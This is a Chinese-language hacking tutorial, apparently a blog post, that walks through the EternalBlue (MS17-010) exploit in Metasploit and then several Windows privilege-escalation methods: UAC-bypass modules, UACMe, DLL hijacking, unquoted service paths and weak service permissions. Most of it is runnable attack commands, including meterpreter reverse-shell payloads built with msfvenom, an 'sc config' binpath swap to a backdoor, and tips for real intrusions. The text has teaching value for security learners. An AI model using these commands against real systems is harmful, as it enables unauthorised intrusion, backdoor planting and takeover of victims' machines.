基礎(chǔ)知識(shí)介紹:
1.何為永恒之藍(lán)?
永恒之藍(lán)(Eternal Blue)爆發(fā)于2017年4月14日晚,是一種利用Windows系統(tǒng)的SMB協(xié)議漏洞來(lái)獲取系統(tǒng)的最高權(quán)限,以此來(lái)控制被入侵的計(jì)算機(jī)。甚至于2017年5月12日, 不法分子通過(guò)改造“永恒之藍(lán)”制作了wannacry勒索病毒,使全世界大范圍內(nèi)遭受了該勒索病毒,甚至波及到學(xué)校、大型企業(yè)、政府等機(jī)構(gòu),只能通過(guò)支付高額的贖金才能恢復(fù)出文件。不過(guò)在該病毒出來(lái)不久就被微軟通過(guò)打補(bǔ)丁修復(fù)。
2.什么是SMB協(xié)議?
SMB(全稱是Server Message Block)是一個(gè)協(xié)議服務(wù)器信息塊,它是一種客戶機(jī)/服務(wù)器、請(qǐng)求/響應(yīng)協(xié)議,通過(guò)SMB協(xié)議可以在計(jì)算機(jī)間共享文件、打印機(jī)、命名管道等資源,電腦上的網(wǎng)上鄰居就是靠SMB實(shí)現(xiàn)的;SMB協(xié)議工作在應(yīng)用層和會(huì)話層,可以用在TCP/IP協(xié)議之上,SMB使用TCP139端口和TCP445端口。
攻擊步驟:
一、確定攻擊目標(biāo)
1.1使用kali打開nmap掃描目標(biāo)主機(jī)。
使用nmap執(zhí)行命令 nmap -sS -A 192.168.17.149
-sS(使用SYN掃描),-A(啟用操作系統(tǒng)檢測(cè)和版本檢測(cè))。
1.2根據(jù)我們的掃描結(jié)果可以大致判斷該系統(tǒng)可能存在永恒之藍(lán)漏洞。
二、攻擊步驟
2.1執(zhí)行命令msfconsole打開metasploit。
2.2執(zhí)行命令 search ms17_010 查詢我們所需要的攻擊模塊。
2.3找到我們需要的攻擊模塊后執(zhí)行命令,
use exploit/windows/smb/ms17_010_eternalblue
2.4執(zhí)行命令 search payload 查找我們需要的payload。
2.5接下來(lái)我們利用該payload
執(zhí)行命令 set payload windows/x64/meterpreter/reverse_tcp。
2.6執(zhí)行命令 show options 來(lái)查看我們所需要設(shè)置的參數(shù)。
其中RHOSTS(被攻擊計(jì)算機(jī)IP)和LHOST(自己kali IP)是需要自己設(shè)置。
2.7執(zhí)行命令:set LHOST 192.168.17.148,set RHOSTS 192.168.17.149即可。
2.8在設(shè)置好一切之后只需要執(zhí)行命令 exploit 即可自動(dòng)開始攻擊。出現(xiàn)截圖中的回顯時(shí)就表示已經(jīng)攻擊成功了。
2.9我們只需要執(zhí)行help即可查看我們能夠執(zhí)行哪些操作。
最后我們執(zhí)行了 meterpreter > screenshot 對(duì)被攻擊對(duì)象進(jìn)行了屏幕截圖測(cè)試。
??關(guān)于Windows提權(quán)應(yīng)該這篇總結(jié)完就結(jié)束了,再次提醒一下關(guān)于第三方軟件或插件提權(quán),不是不寫,而且有些軟件都會(huì)自動(dòng)更新,很多漏洞基本上很少遇到,同時(shí)也利用不了,比如說(shuō):向日葵有一個(gè)版本能夠提權(quán),但是現(xiàn)在那個(gè)版本裝再電腦上,根本連接不上向日葵的服務(wù)器,更何談提權(quán)呢,同時(shí)還可以看日志,目前日志也更改了,端口不會(huì)再日志中出現(xiàn)了。
??前面幾篇文章我就匯總在下面了,同時(shí)關(guān)于UAC提權(quán)之前一篇文章寫的沒(méi)那么細(xì),這里重新補(bǔ)充一下。
??Windows權(quán)限提升—令牌竊取、UAC提權(quán)、進(jìn)程注入等提權(quán)
??Windows權(quán)限提升 —SQL Server/MSSQL數(shù)據(jù)庫(kù)提權(quán)
??Windows權(quán)限提升—MySQL數(shù)據(jù)庫(kù)提權(quán)
??Windows權(quán)限提升—溢出提權(quán)
??UAC(User Account Control,用戶賬號(hào)控制)是微軟為了提高系統(tǒng)安全性在Windows Vista中引入的技術(shù)。UAC要求用戶在執(zhí)行可能影響計(jì)算機(jī)運(yùn)行的操作或在進(jìn)行可能影響其他用戶的設(shè)置之前,擁有相應(yīng)的權(quán)限或者管理員密碼。UAC在操作啟動(dòng)前對(duì)用戶身份進(jìn)行驗(yàn)證,以避免惡意軟件和間諜軟件在未經(jīng)許可的情況下在計(jì)算機(jī)上進(jìn)行安裝操作或者對(duì)計(jì)算機(jī)設(shè)置進(jìn)行更改。
??在Windows Vista及以后的版本中,微軟設(shè)置了安全控制策略,分為高、中、低三個(gè)等級(jí)。高等級(jí)的進(jìn)程有管理員權(quán)限;中等級(jí)的進(jìn)程有普通用戶權(quán)限;低等級(jí)的進(jìn)程,權(quán)限是有限的,以保證系統(tǒng)在受到安全威脅時(shí)造成的損害最小。在權(quán)限不夠的情況下,訪問(wèn)系統(tǒng)磁盤的根目錄、Windows目錄,以及讀寫系統(tǒng)登錄數(shù)據(jù)庫(kù)等操作,都需要經(jīng)常UAC(User Account Control,用戶賬號(hào)控制)的認(rèn)證。
??這里我就不演示如何設(shè)置監(jiān)聽與生成木馬了,在前面的文章中都提到相關(guān)的操作。
??這里是基于默認(rèn)等級(jí)的哦,如果被設(shè)置為最高的話,那就涼涼了,因?yàn)樾枰藶槿c(diǎn)擊,但是我們正常需要提權(quán)都是由于我們獲取的權(quán)限太低,或者遠(yuǎn)程桌面打不開,你如何去點(diǎn)擊,都無(wú)法點(diǎn)擊了,何談提權(quán)。
??這里的UAC狀態(tài)是默認(rèn),也就是中等級(jí)別,至于打開這個(gè)UAC可以在運(yùn)行框中輸入"msconfig",然后工具一欄就能看到更改UAC設(shè)置。
??一般UAC關(guān)閉的情況下使用getsystem就能夠提權(quán)成功。
??這里在嘗試使用getsystem提權(quán),發(fā)現(xiàn)無(wú)法提權(quán),那么就需要使用UAC進(jìn)行繞過(guò)了。
background ##將會(huì)話置于后臺(tái),不然會(huì)在使用bypass的找不到會(huì)話。
??這里能夠看到有很多的UAC繞過(guò)的bypass方式,但是這里面是分不同Windows版本的,有的可能在Windows7上能用,有的可能就不能用,不過(guò)最好選擇日期靠近的,這樣成功率大一點(diǎn)。
search uac ##搜索
use exploit/windows/local/bypassuac ##選擇bypass
sessions ##選擇會(huì)話
set session 1 ##設(shè)定會(huì)話
set lport 5555 ##設(shè)定反彈端口,這里不設(shè)置也可以,但是有時(shí)候直接反彈回來(lái),會(huì)出現(xiàn)反彈不成功的情況。
run ##執(zhí)行
??通過(guò)反彈回來(lái)的效果能夠看到,成功提權(quán)了。
??這里還是使用默認(rèn)的UAC等級(jí)進(jìn)行提權(quán)。
??可以看到,這里同樣是提權(quán)失敗。
??這里我也是嘗試了好幾個(gè)bypass才成功的,環(huán)境不同,可能使用到的bypass也是不同的,有些bypass需要也能提權(quán),但是需要點(diǎn)擊確定,所以多嘗試嘗試。
use exploit/windows/local/bypassuac_silentcleanup ##選擇模塊
sessions ##選擇會(huì)話
set session 5 ##設(shè)置會(huì)話
set lport 6666 ##設(shè)置監(jiān)聽端口
run ##執(zhí)行
??這里能夠看到是成功提權(quán)了。
??這里我就不搭建WEB環(huán)境了,UACMe提取可以在低權(quán)限的時(shí)候提權(quán),但是同樣在UAC設(shè)置為高的時(shí)候同樣也是無(wú)法進(jìn)行直接提權(quán)的,需要人為的去點(diǎn)擊確定才可以。
??UACMe工具涵蓋了Windows7-11以及server服務(wù)器系統(tǒng)均可以提權(quán)。
??同時(shí)這里我就演示個(gè)Windows10系統(tǒng)的,至于Windows7肯定要比Windows10好提權(quán)。
注意想要使用這個(gè)工具需要對(duì)其進(jìn)行編譯成功.exe文件,而我這里沒(méi)有最新的.exe文件,這里給個(gè)老版的,但是也沒(méi)差到哪里去,具體使用的介紹建議去GitHub上自己看。
??UACMe:GitCode - 開發(fā)者的代碼家園
??百度網(wǎng)盤UACMe:https://pan.baidu.com/s/1Tt-s2kluGJTr0hGwFR6y7w?pwd=86lm
提取碼:86lm
??這里在下載完UACMe的時(shí)候,里面會(huì)有兩個(gè)exe執(zhí)行文件,一個(gè)是32位的,一個(gè)是64位的,按照不同的系統(tǒng)位數(shù),放入不同的exe文件進(jìn)行執(zhí)行。
??注意這里彈出的窗口只是演示,在實(shí)際的環(huán)境中,我們無(wú)法登錄桌面,可以使用改工具去運(yùn)行木馬后門,讓其上線即可。
??至于編號(hào),新版的UACMe里包含70余種,可以一個(gè)一個(gè)嘗試。
語(yǔ)法:Akagi64.exe 編號(hào)
??這里同樣我們監(jiān)聽一下端口,并且利用工具進(jìn)行反彈上線。
語(yǔ)法:Akagi64.exe 編號(hào) 后門程序地址
??這里反彈上來(lái)的可能還是普通管理員權(quán)限,這里可以使用getsystem進(jìn)行再次提權(quán),可以看到成功提權(quán)。
??Windows 程序啟動(dòng)的時(shí)候需要 DLL。如果這些 DLL 不存在,則可以通過(guò)在應(yīng)用程序要查找的位置放置惡意 DLL 來(lái)提權(quán)。通常,Windows 應(yīng)用程序有其預(yù)定義好的搜索 DLL 的路徑。
??它會(huì)根據(jù)下面的順序進(jìn)行搜索:
1、應(yīng)用程序加載的目錄
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、當(dāng)前工作目錄 Current Working Directory,CWD
6、在 PATH 環(huán)境變量的目錄(先系統(tǒng)后用戶)
??程序運(yùn)行一般會(huì)加載系統(tǒng)dll或本身程序自帶的dll,如果我們將程序執(zhí)行時(shí)需要加載的dll文件替換成程序,那么我們下次在啟動(dòng)程序時(shí)所加載的dll就是我們替換的那個(gè)木馬程序了。
??這里會(huì)出現(xiàn)一個(gè)問(wèn)題,沒(méi)有遠(yuǎn)程桌面我們?nèi)绾问占?,這里其實(shí)有個(gè)很簡(jiǎn)單的辦法就是,通過(guò)上線普通木馬后,看看能不能查看有存在哪些服務(wù),然后找到相關(guān)服務(wù)本地安裝,安裝后使用火絨劍等工具進(jìn)行查找加載的dll文件即可。
??像系統(tǒng)文件加載的dll我們是動(dòng)不了的,我們一般能懂的都是未知文件和數(shù)字簽名文件。
??這里我們選中l(wèi)ibeay32.dll文件,我們就制作這個(gè)木馬。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.20 lport=5566 -f dll >libeay32.dll
??這里將生成的dll文件替換原本的dll。
??運(yùn)行軟件,不過(guò)需要注意的是,在實(shí)際環(huán)境中由于我未獲取到桌面權(quán)限,所以需要等待管理員去運(yùn)行,同時(shí)由于我們替換了dll文件,所以會(huì)導(dǎo)致管理員在運(yùn)行軟件的時(shí)候會(huì)出現(xiàn)無(wú)響應(yīng)的情況,這時(shí)無(wú)法保證,管理員會(huì)卸載重新安裝。
??這里設(shè)置監(jiān)聽,當(dāng)管理員去運(yùn)行軟件的時(shí)候就會(huì)上線,像上面提到的,當(dāng)軟件不能用了,無(wú)法保證管理員不會(huì)卸載重裝或者重啟電腦,所以在獲取權(quán)限后需要及時(shí)的移植到其它進(jìn)程上面。
??可以看到的是成功上線了。
??我這里沒(méi)有提權(quán)成功,可能是由于系統(tǒng)問(wèn)題,但是調(diào)試了半天也沒(méi)成功,這也能夠證明不是所有提權(quán)方式都是能夠百分比提權(quán)成功的,這里也只是演示,可以用這個(gè)方式進(jìn)行提權(quán)。
??前面的分析與劫持等步驟就不在贅述了,直接看案效果把。
??可以看到這里使用Windows2012就能夠成功提權(quán),所以之前提到的有些提權(quán)方式是根據(jù)不同系統(tǒng)可能有不同的效果。
??注意提權(quán)方式和操作系統(tǒng)版本等都沒(méi)有任何關(guān)系。
??當(dāng)Windows服務(wù)運(yùn)行時(shí),會(huì)發(fā)生以下兩種情況之一。如果給出了可執(zhí)行路徑,并且引用了完整路徑,則系統(tǒng)會(huì)按字面解釋它并執(zhí)行。但是,如果服務(wù)的二進(jìn)制路徑未包含在引號(hào)中,則操作系統(tǒng)將會(huì)執(zhí)行找到的空格分隔的服務(wù)路徑的第一個(gè)實(shí)例。
??不過(guò)這個(gè)確實(shí)局限性還是很大的,比如虛擬機(jī)中沒(méi)有找到這樣的情況,實(shí)體機(jī)沒(méi)有找到,客戶現(xiàn)場(chǎng)機(jī)器也沒(méi)找到…同時(shí)還有一個(gè)問(wèn)題是就算有,很多都是在C盤中,如果基本權(quán)限不夠大,那么也涼涼,也用不了。
??這里的圖片我借用一下其它博客的,由于我自己電腦以及其它電腦,虛擬機(jī)都沒(méi)有這樣的路徑。
次序執(zhí)行
c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe
??而通過(guò)下面的語(yǔ)句可以判斷系統(tǒng)中是否存在這類問(wèn)題,這里找到不代表就一定會(huì)存在問(wèn)題,你看下面的圖片明顯無(wú)法進(jìn)行替換。
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """
??這里由于我的虛擬機(jī)中并沒(méi)有這樣的路徑,而且不好模擬,所以這里主要就是將一下流程,我們就按照第一張圖片上的案例來(lái)演示。
c:\program files (x86)\grasssoft\macro expert\MacroService.exe ##獲取到存在問(wèn)題的路徑
??上面是獲取到的錯(cuò)誤路徑,這里我們可以看到空格是在c:\program后面,那么我們生成一個(gè)木馬,然后將木馬名字改為:program.exe,并且發(fā)入C盤的根目錄下。
??這里放入C盤的原因是,服務(wù)器進(jìn)行重啟的時(shí)候,會(huì)按照上面的路徑去尋找,而第一步就是找到C盤,同時(shí)又沒(méi)有引號(hào),那么當(dāng)遇到program.exe的時(shí)候就會(huì)執(zhí)行。
??這里只需要讓服務(wù)重啟就可以了,不過(guò)這里同時(shí)遇到一個(gè)問(wèn)題就是,當(dāng)實(shí)際環(huán)境中是需要管理員去重啟服務(wù),或者重啟服務(wù)器的時(shí)候啟動(dòng),這樣才能上線,不過(guò)一般這個(gè)上線就是system權(quán)限。
??這里我就不演示了,主要沒(méi)有那個(gè)條件,整體的流程就是這樣的。
??Windows服務(wù)有時(shí)被配置為與服務(wù)本身或與服務(wù)運(yùn)行的目錄相關(guān)的弱權(quán)限。這可能允許攻擊者操縱服務(wù),以便在其啟動(dòng)時(shí)執(zhí)行任意代碼,并將權(quán)限提升到SYSTEM。
??將服務(wù)的 binpath 更改為我們上傳的木馬文件路徑,以便在服務(wù)啟動(dòng)時(shí)執(zhí)行惡意代碼從而獲得system權(quán)限,這里可以利用accesschk.exe工具輔助實(shí)現(xiàn)。
??accesschk是一個(gè)windows系統(tǒng)配置檢查工具,用于查看文件、注冊(cè)表項(xiàng)、服務(wù)、進(jìn)程、內(nèi)核對(duì)象等的有效權(quán)限。該工具將有助于識(shí)別當(dāng)前用戶是否可以修改某個(gè)服務(wù)目錄中的文件,由于它是微軟官方出品,我們將其上傳至靶機(jī),執(zhí)行不會(huì)受到阻礙。
AccessChk - Sysinternals | Microsoft Learn
??這里將下載下來(lái)的工具上傳至靶機(jī)中,這里我使用Windows server2012做演示。這里我為了測(cè)試方便,直接在靶機(jī)中去操作,而實(shí)際環(huán)境中可能需要在webshell工具中去操作。
??還需要注意的是第一次執(zhí)行accesschk.exe會(huì)跳出一個(gè)提示窗口讓我們接受許可,我們執(zhí)行命令繞過(guò)以自動(dòng)接受。
accesschk.exe /accepteula
??檢測(cè)服務(wù)權(quán)限配置:執(zhí)行命令檢測(cè),檢測(cè)當(dāng)前用戶可以操作的服務(wù)項(xiàng),注意當(dāng)前用戶操作的服務(wù)項(xiàng),需要先判斷自己獲取到的權(quán)限是什么,然后去執(zhí)行。
accesschk.exe -uwcqv "Administrators" *
??這里通過(guò)修改服務(wù)路徑的指向來(lái)執(zhí)行后門木馬程序的路徑。
sc config "napagent" binpath="C:Users\Public\Downloads\shell.exe"
??注意這里設(shè)置完后,需要開啟監(jiān)聽哦,然后重啟服務(wù),但是在實(shí)際的環(huán)境中是需要管理員對(duì)服務(wù)進(jìn)行重啟,需要等待的。
sc start napagent
??我這里沒(méi)有像別人一樣反彈回來(lái)就是system權(quán)限,我又進(jìn)行提權(quán)了一下,把權(quán)限提成system,如果能夠配合之前提到檢查哪些服務(wù)是system權(quán)限進(jìn)行修改,可能效果會(huì)更改,當(dāng)然也會(huì)存在局限性。
??同時(shí)也又可能是由于我選錯(cuò)服務(wù)了,演示的時(shí)候可以多試試,或者百度搜一下對(duì)應(yīng)的服務(wù),找找相關(guān)的資料。
??同時(shí)還又一個(gè)問(wèn)題就是,提權(quán)完的會(huì)話容易掉線,服務(wù)啟動(dòng)不了后,系統(tǒng)再結(jié)束啟動(dòng)后,就會(huì)離線,所以需要盡快遷移會(huì)話。